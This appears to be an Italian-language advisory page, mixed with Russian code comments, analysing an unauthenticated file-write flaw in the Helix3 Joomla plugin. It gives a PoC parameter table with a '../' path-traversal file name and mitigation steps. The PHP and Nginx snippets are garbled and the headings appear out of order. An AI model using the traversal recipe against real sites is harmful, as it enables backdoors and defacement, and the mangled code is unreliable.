CVE-2026-49049 — Analisi tecnica e Proof of Concept (PoC) per CVE-2026-49049, una vulnerabilità di scrittura arbitraria di file senza autenticazione in JoomShaper Helix3 per Joomla, inclusi vettori di sfruttamento e linee guida per la mitigazione. | Kitploit

public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

Parametro	Valore / Esempio	Cosa significa per il server
`option`	`com_ajax`	Punto di ingresso in Joomla per elaborare le richieste AJAX.
`plugin`	`helix3`	Identificatore di sistema che costringe Joomla a passare il controllo al plugin vulnerabile Helix3.
`format`	`json`	Indica al motore di restituire la risposta in formato JSON.
`-d`	`data[...]`	Corpo della richiesta (Form Data), automaticamente interpretato da PHP nell'array globale `$_POST`.
`data[action]`	`save`	Interruttore `switch` nel codice. Istruisce il plugin a invocare la funzione di scrittura (creazione) del file.
`data[layoutName]`	`../../../../../../../example`	Vettore d'attacco chiave (Path Traversal). I caratteri `../` costringono il sistema operativo a uscire dalla cartella isolata del plugin nella directory root del sito. L'estensione `.json` verrà aggiunta automaticamente dal plugin.
`data[content]`	`{"probe":"test"}`	Carico utile (Payload). Dati testuali che verranno fisicamente scritti all'interno del file creato `example.json`. Negli attacchi reali qui viene iniettato codice dannoso di defacement o backdoor.

Aggiornamento / Rimozione: Aggiornare Helix3 alla versione 3.1.1 o superiore. Se il framework non viene utilizzato, rimuovere completamente il plugin plg_ajax_helix3 tramite il pannello di amministrazione di Joomla.

Protezione a livello WAF (Nginx): Aggiungere una regola per bloccare le richieste POST dannose:

if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }

CVE-2026-49049

Più Popolari

Logica del codice PHP vulnerabile:

🛠 Proof of Concept (PoC)

Vettore d'attacco (comando cURL):

Analisi dettagliata dei dati trasmessi:

🎯 Analisi delle risposte del server (Segni di validazione)

Opzione A: La vulnerabilità è stata sfruttata con successo (File scritto)

Opzione B: Il plugin è vulnerabile, ma è intervenuta la protezione del sistema operativo

Opzione C: Sistema protetto (Aggiornato o rimosso)

🛡 Mitigazione e rimozione della minaccia